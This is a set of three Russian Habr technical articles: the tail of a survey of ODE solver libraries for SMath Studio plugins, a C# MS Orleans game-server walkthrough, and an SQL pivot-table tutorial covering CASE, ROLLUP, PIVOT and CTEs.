extern "C" {
#endif /* __cplusplus */
void dodesol(int*,int*,double*,double*,double*,void*,void*,\
double*,double*,double*,double*,double*,int*,int*);
void dodesol_rkm9st(int*,int*,double*,double*,double*,void*,\
double*,double*,double*,double*,double*,int*);
void dodesol_mk52lfn(int*,int*,double*,double*,double*,void*,\
double*,double*,double*,double*,double*,int*,int*);
void dodesol_mk52lfa(int*,int*,double*,double*,double*,void*,void*,\
double*,double*,double*,double*,double*,int*,int*);
void dodesol_rkm9mkn(int*,int*,double*,double*,double*,void*,\
double*,double*,double*,double*,double*,int*,int*);
void dodesol_rkm9mka(int*,int*,double*,double*,double*,void*,void*,\
double*,double*,double*,double*,double*,int*,int*);
#ifdef __cplusplus
}
#endif /* __cplusplus */
#endif /* _INTEL_ODE_H_ */
```
Дополнение [ODE Solvers](http://en.smath.info/forum/yaf_postst726_ODESolvers-plugin.aspx) демонстрирует работу с этой библиотекой из c# кода.
Ссылки:
1. [Intel Ordinary Differential Equations Solver Library](https://software.intel.com/en-us/articles/intel-ordinary-differential-equations-solver-library).
2. Исходники дополнения [ODESolvers](https://smath.info/svn/public/plugins/ODESolvers/).
#### 2. GNU Scientific Library (GSL)
Содержит следующие функции: rk2(), rk4(), rkf45(), rkck(), rk8pd(), rk1imp(), rk2imp(), rk4imp(), bsimp(), msadams(), msbdf().
Часть из них требует дополнительные параметры для работы (Якобиан). Те, которые мне удалось привести к общему виду:
Solvers for Non-Stiff Systems:
* rk2() — explicit embedded Runge-Kutta (2, 3) method.
* rk4() — explicit 4th order (classical) Runge-Kutta. Error estimation is carried out by the step doubling method.
* rkf45() — explicit embedded Runge-Kutta-Fehlberg (4, 5) method.
* rkck() — explicit embedded Runge-Kutta Cash-Karp (4, 5) method.
* rk8pd() — explicit embedded Runge-Kutta Prince-Dormand (8, 9) method.
Остальные:
* rk1imp() — Implicit Gaussian first order Runge-Kutta. Also known as implicit Euler or backward Euler method. Error estimation is carried out by the step doubling method. This algorithm requires the Jacobian.
* rk2imp() — Implicit Gaussian second order Runge-Kutta. Also known as implicit mid-point rule. Error estimation is carried out by the step doubling method. This stepper requires the Jacobian.
* rk4imp() — Implicit Gaussian 4th order Runge-Kutta. Error estimation is carried out by the step doubling method. This algorithm requires the Jacobian.
* bsimp() — Implicit Bulirsch-Stoer method of Bader and Deuflhard. The method is generally suitable for stiff problems. This stepper requires the Jacobian.
* msadams() — A variable-coefficient linear multistep Adams method in Nordsieck form. This stepper uses explicit Adams-Bashforth (predictor) and implicit Adams-Moulton (corrector) methods in P(EC)^m functional iteration mode. Method order varies dynamically between 1 and 12.
* msbdf() — A variable-coefficient linear multistep backward differentiation formula (BDF) method in Nordsieck form. This stepper uses the explicit BDF formula as predictor and implicit BDF formula as corrector. A modified Newton iteration method is used to solve the system of non-linear equations. Method order varies dynamically between 1 and 5. The method is generally suitable for stiff problems. This stepper requires the Jacobian.
Для работы с функциями используется [универсальный интерфейс](http://www.gnu.org/software/gsl/manual/html_node/Defining-the-ODE-System.html#Defining-the-ODE-System), где конкретный тип решателя задаёт шаговую функцию. Дополнение [GNUScientificLibrary](http://en.smath.info/forum/yaf_postst1997_GNU-Scientific-Library--GSL.aspx) демонстрирует работу с этой библиотекой из c# кода.
Не так просто сделать сборку библиотеки под Windows. Я использовал инструкцию с одного сайта, который сейчас недоступен. Тем не менее, в репозитории дополнения вы сможете найти 32- и 64-разрядные версии ~~dll~~ lib для GSL 1.16. Там находится вся библиотека, а не только решатели ОДУ.
Ссылки:
1. [GSL. Ordinary Differential Equations](http://www.gnu.org/software/gsl/manual/html_node/Ordinary-Differential-Equations.html#Ordinary-Differential-Equations).
2. Исходники дополнения [GNUScientificLibrary](https://smath.info/svn/public/plugins/GNUScientificLibrary/).
#### 3. Matlab C++ Math Library 2.1 (Win32)
Да, вы можете использовать эту старую версию run-time библиотек для расчётов. Более того, она может быть установлена по относительным путям, т.е. можно просто положить содержимое оригинального дистрибутива (~28 Мб в развёрнутом виде) рядом со своей программой. Правда при вызове функций придётся использовать SetCurrentDirectory() с прямым указанием на место расположения «bin\win32». Я так делаю в своём дополнении.
Содержит следующие функции: ode23(), ode45(), ode113(), ode15s(), ode23s().
* ode23() — solve nonstiff differential equations; low order method,
* ode45() — solve nonstiff differential equations; medium order method,
* ode113() — solve nonstiff differential equations; variable order method,
* ode15s() — solve stiff differential equations and DAEs; variable order method,
* ode23s() — solve stiff differential equations; low order method.
Дополнение [MatlabCppMathLibrary](http://en.smath.info/forum/yaf_postst1970_Matlab-C-Math-Library.aspx) демонстрирует работу с этой библиотекой из c# кода.
Ссылки:
1. [Ordinary Differential Equations](http://www.mathworks.com/help/matlab/ordinary-differential-equations.html).
2. [MATLAB C++ Math Library. User's Guide. Version 2.1](http://en.smath.info/forum/resource.ashx?a=2120) (pdf).
3. [MATLAB C++ Math Library. Reference. Version 2](http://en.smath.info/forum/resource.ashx?a=2121) (pdf).
4. Исходники дополнения [MatlabCppMathLibrary](https://smath.info/svn/public/plugins/MatlabCppMathLibrary/).
#### 4. Octave C++ Math Library (Win32)
Примерно то же самое, что и Matlab C++ Math Library, но со своими тараканами. К сожалению, работу с этой библиотекой я одолел только частично. Дополнение [OctaveCppMathLibrary](http://en.smath.info/forum/yaf_postst1980_Octave-C-Math-Library.aspx) демонстрирует работу с этой библиотекой из c# кода.
Ссылки:
1. [Ordinary Differential Equations](http://www.gnu.org/software/octave/doc/interpreter/Ordinary-Differential-Equations.html#Ordinary-Differential-Equations).
2. Исходники дополнения [OctaveCppMathLibrary](https://smath.info/svn/public/plugins/OctaveCppMathLibrary/).
#### 5. DotNumerics
Содержит следующие функции: AdamsMoulton(), ExplicitRK45(), ImplicitRK5(), GearsBDF(). Эта библиотека портирована для .Net с фортрана. Она понравилась мне больше всего. Работает достаточно быстро.
Solvers for Non-Stiff Systems:
* AdamsMoulton() — solves an initial-value problem for nonstiff ordinary differential equations using the Adams-Moulton method.
* ExplicitRK45() — solves an initial-value problem for nonstiff ordinary differential equations using the explicit Runge-Kutta method of order (4)5.
Solvers for Stiff Systems:
* ImplicitRK5() — solves an initial-value problem for stiff ordinary differential equations using the implicit Runge-Kutta method of order 5.
* GearsBDF() — solves an initial-value problem for stiff ordinary differential equations using the Gear’s BDF method.
Имеется много перегрузок для различных форматов вызова функций. Дополнение [DotNumerics](http://en.smath.info/forum/yaf_postst1918_DotNumerics-plugin.aspx) демонстрирует работу с этой библиотекой.
Ссылки:
1. [DotNumerics](http://www.dotnumerics.com/).
2. Исходники дополнения [DotNumerics](https://smath.info/svn/public/plugins/DotNumerics/).
Как выглядит модель амплитудного детектора в SMath Studio при решении ОДУ с помощью функции GearsBDF():
**SMath Studio**
#### **Обновление (12.07.2014).**
#### 6. boost::odeint
Содержит следующие алгоритмы:
* Explicit Euler
* Modified Midpoint
* Runge-Kutta 4
* Cash-Karp
* Dormand-Prince 5
* Fehlberg 78
* Adams Bashforth
* Adams Moulton
* Adams Bashforth Moulton
* Controlled Runge-Kutta
* Dense Output Runge-Kutta
* Bulirsch-Stoer
* Bulirsch-Stoer Dense Output
* Implicit Euler
* Rosenbrock 4
* Controlled Rosenbrock 4
* Dense Output Rosenbrock 4
* Symplectic Euler
* Symplectic RKN McLachlan
* Symplectic RKN McLachlan
Живьём не пробовал, показать пример использования не могу.
Ссылки:
1. [Boost.Numeric.Odeint](http://www.boost.org/doc/libs/1_55_0/libs/numeric/odeint/doc/html/index.html).
2. [Stepper overview](http://www.boost.org/doc/libs/1_55_0/libs/numeric/odeint/doc/html/boost_numeric_odeint/odeint_in_detail/steppers.html).
#### 7. SADEL (Sets of Algebraic and Differential Equations solvers Library)
Живьём не пробовал, показать пример использования не могу.
Ссылки:
1. [О библиотеке SADEL](http://pa10.ru/?page_id=7).
2. [Сравнение современных решателей жестких систем обыкновенных дифференциальных уравнений с решателями Си библиотеки SADEL](https://yadi.sk/i/wrXR7Ym2WSFwA).
#### 8. Решатель Лимонова А. Г.
Живьём не пробовал, показать пример использования не могу.
Ссылки:
1. [Диссертация. Разработка двухстадийных схем Розенброка с комплексными коэффициентами и их применение в задачах моделирования образования периодических наноструктур, 2010](https://yadi.sk/i/SXkrDLQnWSG42). | https://habr.com/ru/post/229435/ | null | ru | null |
# Сервер Игры на MS Orleans — часть 3: Итоги
Привет, Хабр! Я продолжаю изучать MS Orleans и делать простенькую онлайн игру с консольным клиентом и сервером работающим с Orleans грейнами. На этот раз я расскажу чем все закончилось и какие я для себя выводы сделал. За подробностями добро пожаловать под кат.
Таки да, если вам интересно вообще как игровые сервера для динамических игр делаются, а не мой эксперимент с MS Orleans то рекомендую глянуть [этот репозиторий](https://github.com/pixonic/pixockets) (UDP) и эти статьи почитать:
1. [habr.com/ru/post/303006](https://habr.com/ru/post/303006/)
2. [habr.com/ru/post/328118](https://habr.com/ru/post/328118/)
3. [habr.com/ru/company/pixonic/blog/499642](https://habr.com/ru/company/pixonic/blog/499642/)
4. [habr.com/ru/company/pixonic/blog/420019](https://habr.com/ru/company/pixonic/blog/420019/)
Содержание
----------
* [Сервер Игры на MS Orleans — часть 1: Что такое Акторы](https://habr.com/ru/post/498326/)
* [Сервер Игры на MS Orleans — часть 2: Делаем управляемую точку](https://habr.com/ru/post/499188/)
* Сервер Игры на MS Orleans — часть 3: Итоги
Исходники
---------
[MsOrleansOnlineGame](https://gitlab.com/VictorWinbringer/msorleansonlinegame)
Об игре
-------
Получилась простенькая стрелялка. Зеленые # это противники. Желтый # это ваш персонаж. Красный $ это пуля. Стрельба ведется в том направлении куда вы идете. Направление движения регулируется кнопками W A S D или стрелочками. Для выстрела предназначена клавиша пробела. Подробно описывать код клиента не вижу смысла потому что его нужно заменить на нормальный. Графический.
Oб акторах (грейнах)
--------------------
Если кратко: Мое ИМХО что Орлеанс это gRPC на стероидах заточенный под Azure, масштабирование и работу с ин мемори стейтом. С кешем например. Хотя и без стейта как обычный RPC через Stateless Worker Grains умеет он работать. Грейн (Актор) в Орлеанс может выступать в роли точки входа как Controller в Asp.Net. Но в отличии от Контроллера у грейна один единственный инстанс у которого есть свой идентификатор. Грейны хороши тогда когда вам из нескольких потоков или от нескольких пользователей надо одновременно работать с каким-то состоянием. Они обеспечивают потокобезопасную работу с ним.
Например вот актор для корзины товаров. При первом вызове он будет создан и будет висеть в памяти играя роль кеша. При этом к нему могут одновременно делать запросы и на добавление и удаление предметов тысячи пользователей из тысячи разных потоков. Вся работа с его состоянием внутри него будет абсолютно потокобезопасной. При этом конечно было бы полезно сделать актор Shop у которого будет метод List GetBaskets() чтобы получать список всех доступных в системе корзин. При этом Shop тоже будет висеть в памяти как кеш и вся работа с ним будет потокобезопасной.
```
public interface IBasket : IGrainWithGuidKey
{
Task Add(string item);
Task Remove(string item);
Task> GetItems();
}
public class BasketGrain : Grain, IBasket
{
private readonly ILogger \_logger;
private readonly IPersistentState> \_store;
public BasketGrain(
ILogger logger,
[PersistentState("basket", "shopState")] IPersistentState> store
)
{
\_logger = logger;
\_store = store;
}
public override Task OnActivateAsync()
{
var shop = GrainFactory.GetGrain();
//Добавляем в список корзин нашу если ее еще нет в списке.
await shop.AddBasketIfNotContains(this.GetPrimaryKey())
return base.OnActivateAsync();
}
public override async Task OnDeactivateAsync()
{
//Орлеанс автоматически активирует грейны когда мы их вызываем
// Так же как Asp.Net создает контроллеры.
// В отличии от контроллера грейн висит в памяти пока его кто-то использует.
// Если его долго ник-то не вызывает то Орлеанс убивает грейн.
//Перед тем как это сделать вызывается автоматически этот стандартный метод.
// Тут мы записываем состояние нашего грейна в БД
await \_store.WriteStateAsync();
await base.OnDeactivateAsync();
}
public Task Add(string item)
{
\_store.State.Add(item);
return Task.CompletedTask;
}
public Task Remove(string item)
{
\_store.State.Remove(item);
return Task.CompletedTask;
}
public Task> GetItems()
{
//Грейны сериализуют отправляемые и десереализуют принимаемые значения.
// Поэтому лучше из грейна возвращать копию его состояния
// Чтобы во время сериализации не выскочила ошибка ака Коллекшн хаз чейнджед
return Task.FromResult(new List(\_store.State));
}
}
```
Пример использования в каком-нибудь консольном приложении:
```
private static async Task DoClientWork(IClusterClient client, Guid baskeId)
{
var basket = client.GetGrain(baskeId);
//как и с gRPC - на самом деле это действие отправит запрос на сервер где и произойдет добавление строки в список
await basket.Add("Apple");
}
```
Код игры
--------
Карта на которой сражаются игроки:
```
public interface IFrame : IGrainWithIntegerKey
{
Task Update(Frame frame);
Task GetState();
}
public class FrameGrain : Grain, IFrame
{
private readonly ILogger \_logger;
private readonly IPersistentState \_store;
public FrameGrain(
ILogger logger,
[PersistentState("frame", "gameState")] IPersistentState store
)
{
\_logger = logger;
\_store = store;
}
public override Task OnActivateAsync()
{
\_logger.LogInformation("ACTIVATED");
//Связь игры и карты 1 к 1 поэтому айди карты и игры одинаковы.
\_store.State.GameId = this.GetPrimaryKeyLong();
return base.OnActivateAsync();
}
public override async Task OnDeactivateAsync()
{
\_logger.LogInformation("DEACTIVATED");
await \_store.WriteStateAsync();
await base.OnDeactivateAsync();
}
public Task Update(Frame frame)
{
\_store.State = frame;
return Task.CompletedTask;
}
public Task GetState() => Task.FromResult(\_store.State.Clone());
}
```
Грейн игры который хранит общее состояние текущей игры и 20 раз в секунду отправляет его клиенту по SignalR.
```
public interface IGame : IGrainWithIntegerKey
{
Task Update(Player player);
Task Update(Bullet bullet);
Task> GetAlivePlayers();
}
public class GameGrain : Grain, IGame
{
private const byte WIDTH = 100;
private const byte HEIGHT = 50;
private readonly ILogger \_logger;
private readonly IPersistentState \_store;
private readonly IHubContext \_hub;
private IDisposable \_timer;
public GameGrain(
ILogger logger,
[PersistentState("game", "gameState")] IPersistentState store,
IHubContext hub
)
{
\_logger = logger;
\_store = store;
\_hub = hub;
}
public override async Task OnActivateAsync()
{
\_store.State.Id = this.GetPrimaryKeyLong();
\_store.State.Frame = new Frame(WIDTH, HEIGHT) { GameId = \_store.State.Id };
var frame = GrainFactory.GetGrain(\_store.State.Id);
await frame.Update(\_store.State.Frame.Clone());
\_logger.LogWarning("ACTIVATED");
//Тут происходит регистрация таймера который каждые 50 миллисекунд будет дергать метод нашего грейна. Это метод отправляет текущее состояние игры клиенту.
\_timer = RegisterTimer(Draw, null, TimeSpan.FromMilliseconds(100), TimeSpan.FromMilliseconds(50));
await base.OnActivateAsync();
}
public override async Task OnDeactivateAsync()
{
\_logger.LogWarning("DEACTIVATED");
\_timer?.Dispose();
\_timer = null;
await \_store.WriteStateAsync();
await base.OnDeactivateAsync();
}
public async Task Draw(object obj)
{
var state = \_store.State;
state.Bullets.RemoveAll(b => !b.IsAlive);
state.Players.RemoveAll(p => !p.IsAlive);
try
{
await \_hub.Clients.All.SendAsync("gameUpdated", state.Clone());
}
catch (Exception e)
{
\_logger.LogError(e, "Error on send s");
}
}
public Task Update(Player player)
{
\_store.State.Players.RemoveAll(x => x.Id == player.Id);
\_store.State.Players.Add(player);
return Task.CompletedTask;
}
public Task Update(Bullet bullet)
{
\_store.State.Bullets.RemoveAll(x => x.Id == bullet.Id);
\_store.State.Bullets.Add(bullet);
return Task.CompletedTask;
}
public Task> GetAlivePlayers() =>
Task.FromResult(\_store.State.Players.Where(p => p.IsAlive).Select(p => p.Clone()).ToList());
}
```
SignalR хаб через который мы общаемся с клиентом. Он выступает в роли прокси между WebGl клиентом и Orleans. Пока что клиент консольный и он дико стремный. Я хочу сделать в будущем веб клиент игры в браузере на Three.js и поэтому нужно подключение по вебсокету SignalR. Сам Orleans клиент только на C# в отличии от gRPC которые доступен на многих языках поэтому для веб клиентом между сервером Orleans и клиентами надо ставить прокси (Gateway asp.net core).
```
public class GameHub : Hub
{
private readonly IGrainFactory _client;
public GameHub(IGrainFactory client)
{
_client = client;
}
public async Task GameInput(Input input)
{
var player = _client.GetGrain(input.PlayerId);
await player.Handle(input);
}
}
```
Грейн игрока. Он автоматически по таймеру движется и реагирует на команды пользователя. Если приходит команда стрелять то он создает грейн пули и устанавливает для него направление движения.
```
public class PlayerGrain : Grain, IPlayer
{
private readonly ILogger \_logger;
private readonly IPersistentState \_store;
private IDisposable \_timer;
private readonly Queue \_inputs;
public PlayerGrain(
ILogger logger,
[PersistentState("player", "gameState")] IPersistentState store
)
{
\_logger = logger;
\_store = store;
\_inputs = new Queue();
}
public override Task OnActivateAsync()
{
\_logger.LogInformation("ACTIVATED");
// State это просто POCO класс с геттерами и сеттерами. Entity Player в нашем случае
\_store.State.Id = this.GetPrimaryKey();
\_timer = RegisterTimer(Update, null, TimeSpan.FromMilliseconds(1), TimeSpan.FromMilliseconds(200));
return base.OnActivateAsync();
}
public override async Task OnDeactivateAsync()
{
\_logger.LogInformation("ACTIVATED");
\_timer?.Dispose();
\_timer = null;
await \_store.WriteStateAsync();
await base.OnDeactivateAsync();
}
public async Task Handle(Input input)
{
\_store.State.GameId = input.GameId;
\_inputs.Enqueue(input);
}
public async Task Update(object obj)
{
if (!\_store.State.IsAlive)
{
await \_store.ClearStateAsync();
//Говорим серверу Орлеас что можно удалить этот грейн из оперативной памяти.
// потому что он нам больше не нужен. Это произойдет после выхода из этого метода.
DeactivateOnIdle();
return;
}
while (\_inputs.Count > 0)
{
var input = \_inputs.Dequeue();
foreach (var direction in input.Directions.Where(d => d != Direction.None))
{
\_store.State.Direction = direction;
}
foreach (var command in input.Commands.Where(c => c != Command.None))
{
if (command == Command.Shoot)
{
var bulletId = Guid.NewGuid();
var bullet = GrainFactory.GetGrain(bulletId);
// Метод Shot() просто возвращает направление куда смотрит игрок и место где он стоит.
bullet.Update(\_store.State.Shot()).Ignore(); //Ignore() эвейтит таску и игнорирует ошибку если она возникает
}
}
}
\_store.State.Move();
if (\_store.State.GameId.HasValue)
{
var frame = GrainFactory.GetGrain(\_store.State.GameId.Value);
var fs = await frame.GetState();
if (fs.Collide(\_store.State))
\_store.State.MoveBack();
GrainFactory.GetGrain(\_store.State.GameId.Value)
.Update(\_store.State.Clone())
.Ignore();
}
}
public async Task Die()
{
\_store.State.IsAlive = false;
if (\_store.State.GameId.HasValue)
await GrainFactory.GetGrain(\_store.State.GameId.Value).Update(\_store.State.Clone());
await \_store.ClearStateAsync();
DeactivateOnIdle();
}
}
```
Грейн пули. Она автоматически движется по таймеру и если сталкивается с игроком то приказывает ему умереть. Если сталкивается с препятствием на карте то умирает сама.
```
public interface IBullet : IGrainWithGuidKey
{
Task Update(Bullet dto);
}
public class BulletGrain : Grain, IBullet
{
private readonly ILogger \_logger;
private readonly IPersistentState \_store;
private IDisposable \_timer;
public BulletGrain(
ILogger logger,
[PersistentState("bullet", "gameState")] IPersistentState store
)
{
\_logger = logger;
\_store = store;
}
public Task Update(Bullet dto)
{
\_store.State = dto;
\_store.State.Id = this.GetPrimaryKey();
return Task.CompletedTask;
}
public override Task OnActivateAsync()
{
\_logger.LogInformation("ACTIVATED");
\_timer = this.RegisterTimer(Update, null, TimeSpan.FromMilliseconds(1), TimeSpan.FromMilliseconds(50));
return base.OnActivateAsync();
}
public override async Task OnDeactivateAsync()
{
\_logger.LogInformation("DEACTIVATED");
\_timer?.Dispose();
\_timer = null;
await \_store.WriteStateAsync();
await base.OnDeactivateAsync();
}
public async Task Update(object obj)
{
if (!\_store.State.IsAlive)
{
await \_store.ClearStateAsync();
DeactivateOnIdle();
return;
}
\_store.State.Move();
if (\_store.State.GameId.HasValue)
{
var frame = GrainFactory.GetGrain(\_store.State.GameId.Value);
var fs = await frame.GetState();
if (fs.Collide(\_store.State))
\_store.State.IsAlive = false;
if (\_store.State.Point.X > fs.Width || \_store.State.Point.Y > fs.Height)
\_store.State.IsAlive = false;
var game = GrainFactory.GetGrain(\_store.State.GameId.Value);
var players = await game.GetAlivePlayers();
foreach (var player in players)
{
if (player.Collide(\_store.State))
{
\_store.State.IsAlive = false;
GrainFactory.GetGrain(player.Id).Die().Ignore();
break;
}
}
game.Update(\_store.State.Clone()).Ignore();
}
}
}
```
Благодарности
-------------
Спасибо [Areso](https://habr.com/ru/users/areso/) за найденные грамматические ошибки в тексте. | https://habr.com/ru/post/499556/ | null | ru | null |
# Сводные таблицы в SQL
Сводная таблица – один из самых базовых видов аналитики. Многие считают, что создать её средствами SQL невозможно. Конечно же, это не так.
Предположим, у нас есть таблица с данными закупок нескольких видов товаров (Product 1, 2, 3, 4) у разных поставщиков (A, B, C):
Типичная задача – определить размер закупок по поставщикам и товарам, т.е. построить сводную таблицу. Пользователи MS Excel привыкли получать такую аналитику буквально парой кликов:
В SQL это не так быстро, но большинство решений тривиальны.
**Тестовые данные**
```
-- таблица с полями: поставщик (supplier), товар (product), объем поставки (volume)
create table test_supply (supplier varchar null, -- varchar2(10) в Oracle, и т.п.
product varchar null, -- varchar2(10) в Oracle, и т.п.
volume int null
);
-- тестовые данные
insert into test_supply (supplier, product, volume) values ('A', 'Product 1', 928);
insert into test_supply (supplier, product, volume) values ('A', 'Product 1', 422);
insert into test_supply (supplier, product, volume) values ('A', 'Product 4', 164);
insert into test_supply (supplier, product, volume) values ('A', 'Product 1', 403);
insert into test_supply (supplier, product, volume) values ('A', 'Product 3', 26);
insert into test_supply (supplier, product, volume) values ('B', 'Product 4', 594);
insert into test_supply (supplier, product, volume) values ('B', 'Product 4', 989);
insert into test_supply (supplier, product, volume) values ('B', 'Product 3', 844);
insert into test_supply (supplier, product, volume) values ('B', 'Product 4', 870);
insert into test_supply (supplier, product, volume) values ('B', 'Product 2', 644);
insert into test_supply (supplier, product, volume) values ('C', 'Product 2', 733);
insert into test_supply (supplier, product, volume) values ('C', 'Product 2', 502);
insert into test_supply (supplier, product, volume) values ('C', 'Product 1', 97);
insert into test_supply (supplier, product, volume) values ('C', 'Product 3', 620);
insert into test_supply (supplier, product, volume) values ('C', 'Product 2', 776);
-- проверка
select * from test_supply;
```
### 1. Оператор CASE и аналоги
Самый простой и очевидный способ получения сводной таблицы – это хардкод с использованием оператора `CASE`. Например, для поставщика А можно вычислить размер поставок как `sum(case when t.supplier = 'A' then t.volume end`). Чтобы получить объем поставок для разных товаров достаточно просто добавить группировку по полю `product`:
```
select t.product,
sum(case when t.supplier = 'A' then t.volume end) as A
from test_supply t
group by t.product
order by t.product;
```
Если добавить `else 0`, то для товаров, по которым не было поставок, вместо `null` будут выведены нули:
```
select coalesce(t.product, 'total_sum') as product,
sum(case when t.supplier = 'A' then t.volume end) as A
from test_supply t
group by t.product;
```
Если продублировать код для всех поставщиков (которых у нас три — A, B, C), мы получим необходимую нам сводную таблицу:
```
select t.product,
sum(case when t.supplier = 'A' then t.volume end) as A,
sum(case when t.supplier = 'B' then t.volume end) as B,
sum(case when t.supplier = 'C' then t.volume end) as C
from test_supply t
group by t.product
order by t.product;
```
В неё можно добавить итог по строкам (как обычную сумму, т.е. `sum(t.volume)`):
```
select t.product,
sum(case when t.supplier = 'A' then t.volume end) as A,
sum(case when t.supplier = 'B' then t.volume end) as B,
sum(case when t.supplier = 'C' then t.volume end) as C,
sum(t.volume) as total_sum
from test_supply t
group by t.product;
```
Не составит труда добавить и итог по столбцам. Для этого необходим использовать оператор `ROLLUP`, который позволит добавить суммирующую строку. В большинстве СУБД используется синтаксис `rollup(t.product)`, хотя иногда доступен и альтернативный `t.product with rollup` (например, SQL Server).
```
select t.product,
sum(case when t.supplier = 'A' then t.volume end) as A,
sum(case when t.supplier = 'B' then t.volume end) as B,
sum(case when t.supplier = 'C' then t.volume end) as C,
sum(t.volume) as total_sum
from test_supply t
group by rollup(t.product);
```
Результат можно сделать ещё красивее, заменив NULL на собственную подпись итога. Для этого можно использовать функцию `coalesce()`: `coalesce(t.product, 'total_sum')`, или же любой специфичный для конкретной СУБД аналог (например, `nvl()` в Oracle). Результат будет следующим:
```
select coalesce(t.product, 'total_sum') as product,
sum(case when t.supplier = 'A' then t.volume end) as A,
sum(case when t.supplier = 'B' then t.volume end) as B,
sum(case when t.supplier = 'C' then t.volume end) as C,
sum(t.volume) as total_sum
from test_supply t
group by rollup(t.product);
```
**Если СУБД не поддерживает ROLLUP ...**
Если ваша СУБД настолько стара, что не поддерживает rollup, – придётся использовать костыли. Например, так:
```
select t.product,
sum(case when t.supplier = 'A' then t.volume end) as A,
sum(case when t.supplier = 'B' then t.volume end) as B,
sum(case when t.supplier = 'C' then t.volume end) as C,
sum(t.volume) as total_sum
from test_supply t
group by t.product
union all
select 'total_sum',
sum(case when t.supplier = 'A' then t.volume end),
sum(case when t.supplier = 'B' then t.volume end),
sum(case when t.supplier = 'C' then t.volume end),
sum(t.volume) as total_sum
from test_supply t;
```
Можно (но вряд ли стоит) использовать какую-либо из вендоро-специфичных функций вместо стандартного `CASE`. Например, в PostgreSQL и SQLite доступен оператор `FILTER`:
```
select coalesce(t.product, 'total_sum') as product,
sum(t.volume) filter (where t.supplier = 'A') as A,
sum(t.volume) filter (where t.supplier = 'B') as B,
sum(t.volume) filter (where t.supplier = 'C') as C,
sum(t.volume) as total_sum
from test_supply t
group by rollup(t.product);
```
Особенность `FILTER` в том, что он является частью стандарта (*SQL:2003*), но фактически поддерживается только в PostgreSQL и SQLite.
В других СУБД есть ряд эквивалентов CASE, не предусмотренных стандартом: IF в MySQL, DECODE в Oracle, IIF в SQL Server 2012+, и т.д. В большинстве случаев их использование не несёт никаких преимуществ, лишь усложняя поддержку кода в будущем.
**MySQL: IF**
```
select coalesce(t.product, 'total_sum') as product,
sum(IF(t.supplier = 'A', t.volume, null)) as A,
sum(IF(t.supplier = 'B', t.volume, null)) as B,
sum(IF(t.supplier = 'C', t.volume, null)) as C,
sum(t.volume) as total_sum
from test_supply t
group by rollup(t.product);
```
**Oracle: DECODE**
```
select coalesce(t.product, 'total_sum') as product,
sum(decode(t.supplier, 'A', t.volume, null)) as A,
sum(decode(t.supplier, 'B', t.volume, null)) as B,
sum(decode(t.supplier, 'C', t.volume, null)) as C,
sum(t.volume) as total_sum
from test_supply t
group by rollup(t.product);
```
**SQL Server 2012 или выше: IIF**
```
select coalesce(t.product, 'total_sum') as product,
sum(iif(t.supplier = 'A', t.volume, null)) as A,
sum(iif(t.supplier = 'B', t.volume, null)) as B,
sum(iif(t.supplier = 'C', t.volume, null)) as C,
sum(t.volume) as total_sum
from test_supply t
group by rollup(t.product);
```
### 2. Использование PIVOT (SQL Server и Oracle)
Описанный выше подход трудно назвать красивым. Как минимум, хочется не дублировать код для каждого поставщика, а просто их перечислить. Сделать это позволяет разворот (*PIVOT*) таблицы, доступный в в SQL Server и Oracle. Хотя этот оператор не предусмотрен стандартом SQL, обе СУБД предлагают идентичный синтаксис.
Для начала нам необходима таблица с агрегированной статистикой, которую мы «развернём». Казалось бы, для этого достаточно взять суммы по товару и провайдеру:
```
select t.supplier,
t.product,
sum(t.volume) as agg
from test_supply t
group by t.product,
t.supplier;
```
И этого будет достаточно – если нам нужны итоги *только по товарам и по провайдерам*. Если же мы хотим получить *все возможные итоги*, необходимо выбрать все возможные сочетания товара и провайдера, в том числе такие где товар или провайдер `NULL`:
```
select t.supplier, t.product, sum(t.volume) as agg
from test_supply t
group by t.supplier, t.product
union all
select null, t.product, sum(t.volume)
from test_supply t
group by t.product
union all
select t.supplier, null, sum(t.volume)
from test_supply t
group by t.supplier
union all
select null, null, sum(t.volume)
from test_supply t;
```
Этот запрос можно существенно упростить, используя оператор `CUBE`:
```
select t.supplier,
t.product,
sum(t.volume) as agg
from test_supply t
group by cube(t.supplier, t.product);
```
Если мы хотим получить подпись итогов как *'total\_sum'* вместо `NULL` запрос необходимо немного откорректировать:
```
select coalesce(t.supplier, 'total_sum') as supplier,
coalesce(t.product, 'total_sum') as product,
sum(t.volume) as agg
from test_supply t
group by cube(t.supplier, t.product);
```
К такому результату уже можно применять PIVOT:
```
select *
from ( select coalesce(t.supplier, 'total_sum') as supplier,
coalesce(t.product, 'total_sum') as product,
sum(t.volume) as agg
from test_supply t
group by cube(t.supplier, t.product)
) t
pivot (sum(agg)
-- NB: ниже в SQL Server - двойные кавычки, в Oracle DB - одинарные
for supplier in ("A", "B", "C", "total_sum")
) pvt
;
```
Здесь мы «поворачиваем» таблицу из прошлого запроса, используя агрегатную функцию суммы `sum(agg)`. При этом заголовки столбцов мы берём из поля `supplier`, а с помощью `in ("A", "B", "C", "total_sum")` указываем какие конкретно поставщики должны быть выведены (`total_sum` отвечает за столбец с итогами по строкам).
### 3. Common table expression
В принципе, для «поворота» таблицы нам не нужен оператор PIVOT как таковой. Этот запрос можно легко переписать, используя стандартный синтаксис — комбинацию CTE (*common table expression*) и соединений. Для этого будем использовать тот же запрос, что и для PIVOTа:
```
with cte
as (
select coalesce(t.supplier, 'total_sum') as supplier,
coalesce(t.product, 'total_sum') as product,
sum(t.volume) as agg
from test_supply t
group by cube(t.supplier, t.product)
)
select * from cte;
```
Из результатов, полученных в `cte` нам необходимы только уникальные значения товаров:
```
select distinct t.product from cte t
```
… к которым можно поочередно присоединять объем закупок для каждого отдельно взятого поставщика:
```
left join cte a
on t.product = a.product
and a.supplier = 'A'
```
Здесь мы используем *левое соединение* т.к. у поставщика может не быть поставок по некоторым продуктам.
Окончательный запрос будет выглядеть таким образом:
```
with cte
as (
select coalesce(t.supplier, 'total_sum') as supplier,
coalesce(t.product, 'total_sum') as product,
sum(t.volume) as agg
from test_supply t
group by cube(t.supplier, t.product)
)
select distinct t.product,
a.agg as A,
b.agg as B,
c.agg as C,
ts.agg as total_sum
from cte t
left join cte a
on t.product = a.product and a.supplier = 'A'
left join cte b
on t.product = b.product and b.supplier = 'B'
left join cte c
on t.product = c.product and c.supplier = 'C'
left join cte ts
on t.product = ts.product and ts.supplier = 'total_sum'
order by product;
```
Конечно, такой запрос — это proof-of-concept, поэтому выглядит он довольно экзотично.
### 4. Функция CROSSTAB (PostgreSQL)
